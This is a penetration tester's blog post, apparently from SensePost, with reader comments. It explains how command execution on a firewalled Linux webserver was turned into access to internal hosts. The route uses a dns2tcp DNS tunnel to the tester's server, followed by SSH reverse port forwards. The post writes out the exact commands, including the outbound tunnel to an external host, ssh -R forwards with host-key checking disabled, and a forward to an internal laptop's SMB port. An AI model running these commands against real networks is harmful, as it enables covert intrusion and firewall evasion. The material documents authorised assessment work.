DNS Tunnels (RE-REDUX)
— @ 17:51
On a recent assessment we came across the following scenario:
1) We have command execution through a web command interpreter script (cmd.jsp) on a remote Linux webserver 2) The box is firewalled only allowing 53 UDP ingress and egress
3) The box is sitting on the network perimeter, with one public IP and one internal IP, and not in a DMZ So we want to tunnel from the SensePost offices to Target Company's internal machines, with this pretty restrictive setup. How did we accomplish this?
1) Upload and compile dns2tcp to the target machine
2) Create a dns2tcp tunnel from target (dns2tcp client) to SPDNSTUNNEL (dns2tcp server)
- SPDNSTUNNEL is running a dns2tcp server offering two services, ssh and proxy. The dns2tcp client can connect from target to SPDNSTUNNEL's ssh or proxy ports over its 'TCP' channel. This is done with the following command, where we setup target to listen locally on 55555:
- ./dns2tcpc -z mooo.mooo.moooo -r ssh -l 55555 SPDNSTUNNEL.sensepost.com
- (Creating Target:55555 ---TCP/53---> SPDNSTUNNEL:sshPort).
- Since we have a non interactive shell on the webserver we needed to create this tunnel with a single command with no prompts. We created a dummy user on SPDNSTUNNEL and created ssh keys for it. We uploaded the ssh keys to target and issuing the following command through an uploaded bashscript ssh-ed into SPDNSTUNNEL through the DNS tunnel:
- ssh -i /tmp/key -p 55555 -l tunnelUser-R 4444:intranetserver.target.com:80 -o "stricthostkeychecking=no" 127.0.0.1
- Linux :: [glenn@localhost] ssh -L 3333:localhost:4444 SPDNSTUNNEL.sensepost.com -l glenn
- Windows :: Use putty's ssh tunnel option, setting "Source port" to 3333 and destination to "localhost:4444
- ps auux | grep ssh | egrep '^tunnelUser' | cut -f 3 -d " " | xargs kill ; clear ; tail -f /var/log/secure
- (tailing /var/log/secure is useful, upon executing the ssh command on target we should see a connect from tunnelUser)
- ssh -i /tmp/key -p 55555 -l tunnelUser-R 4444:CEO_laptop.target.com:139 -o "stricthostkeychecking=no" 127.0.0.1
See the attached picture for a summary of the above.
-Glenn








DNS almost always finds it's way out, in a way or another.
Much nicer to get layer2 access to the network your compromised host is on.
Good effort though, guys!
a) sometimes we are not cool enough..
b) the customer gets a much warmer feeling knowing we didnt just expose their internal smb traffic to the internet.. being able to say - all comms between us and you once the compromise was effected was encrypted with SSH encryption def. helps the customer feel better..
Cool tools though.. rocking..
The layer2 bridge can of course be wrapped in ssh to gain encryption, the point was that you needn't tear down and reestablish the tunnel for each port you wish to access when there are much better alternatives. ;)